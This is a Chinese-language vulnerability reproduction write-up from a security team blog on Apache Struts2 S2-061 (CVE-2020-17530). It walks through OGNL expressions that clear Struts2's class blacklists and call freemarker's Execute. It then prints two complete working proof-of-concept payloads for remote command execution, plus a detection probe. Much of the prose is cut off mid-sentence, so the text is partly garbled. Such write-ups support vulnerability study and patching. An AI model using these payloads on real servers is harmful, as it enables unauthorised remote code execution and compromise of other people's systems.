漏洞复现之S2-061(CVE-2020-17530)1.本文为Gcow安全团队成员江城@复眼小组所写 2.本文中的payload切勿用于违法行为 一切造成的不良影响 本公众号概不负责 3.本文一共2000字 18张图 预计阅读时间7分钟 4.若本文中存在不清楚或者错误的地方 欢迎各位师傅在公众号私聊中指出 感激不尽 漏洞描述本次漏洞是对 漏洞影响版本
漏洞分析本文仅是对 Smi1e师傅tql 膜了 呜呜呜 漏洞复现测试环境IDEA 2019.3.5 Struts2 2.5.26/Struts2 2.3.33 Apache-Tomcat-8.5.57 相关依赖包
2.3.3相关依赖包 2.5.25相关依赖包 复现思路简略说明(具体思路请移步上文中的漏洞分析文章)1.首先找到struts2标签解析的入口,也是我们本次漏洞Debug跟踪的重点。 全方法名: 这里是标签解析的开始方法,同时这里能够观测到整个 其中我们本次要使用的利用点就stack中断点可以找到(这一步在前面的思路分析中可以找到,但是因为debug点没有描述清楚,一开始找了很久,最后在查阅其他版本的文章分析才找到这个位置): 从上文中的位置,我们可以得到获取这个对象的获取调用链,如下图 转换为ognl表达式后如下: 1. 1.创建 API简要描述(若想看详细方法分析,请移步到上文的分析文章): Object get('xxxx') 实际相当于调用内部对象的getXxx,比如getName() Object put('xxxx',Object) 实际相当于调用内部对象的,setXxxx,比如setName() void setBean(Object) 重新设置内部对象,设置完成后上面两个才能生效 Object getBean() 获取内部对象,这里可以在断点的时候查看到当前map中的实际对象 整体创建的Ognl表达式(这里存放到application中,方便多次请求使用) %{#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} 1.获取到 Ognl表达式代码 %{#application.map.setBean(#request.get('struts.valueStack'))} 1.使用3和4同样的原理,利用 这里把两个步骤的Ognl代码同时贴出来 # 注意,自行调试的话,需要分两次执行 %{#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} %{#application.map2.setBean(#application.get('map').get('context'))} 1.使用上面的原理,使用第二步得到的 # 注意,自行调试的话,需要分两次执行 %{#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} %{#application.map3.setBean(#application.get('map2').get('memberAccess'))} 1.确认一下之前存放的Map都正确存下来了,不然岂不是白忙活,其实每一步执行完后,都可以查看一次,确认每一步都是操作正确的,这里我就一次过了。 1.前面的操作都确认没有问题后,就可以调用方法重置黑名单了,主要API为 在我们这两个地方打了断点后,我们请求下面或者前面的ognl可以发现,在每次收到请求的时候,都会调用一次这里的黑名单赋值,也就是说,就算是我们在本次请求重置了黑名单,在下次请求的时候,黑名单还是会重置。因此只有前面的ognl可以持久化存储,实际利用的时候,必须要在一个请求中进行命令执行。下文还会有一个存放在 初次请求赋值: 执行下面清空黑名单代码的重新赋值 清7空黑名单的ognl代码 # 注意,自行调试的话,需要分两次执行 #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) 1.这里就可以使用黑名单中的 执行shell的ognl代码 #application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}) 完整POC使用application,就是上面思路的完整POC%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) (#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))} 使用request,单次请求有效的完整POC (推荐)%{ (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) }
检测思路在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。 比如: %{ 'gcowsec-' (2000 20).toString()} 预计会得到 gcowsec-2020 使用脚本判断结果中是否包含就可以了 总结此次漏洞只是 参考文章安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530) [官方更新公告]https://cwiki./confluence/display/WW/S2-061 [Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析]https://blog.csdn.net/weixin_46236101/article/details/109080913 |
|
来自: 新用户36657816 > 《渗透》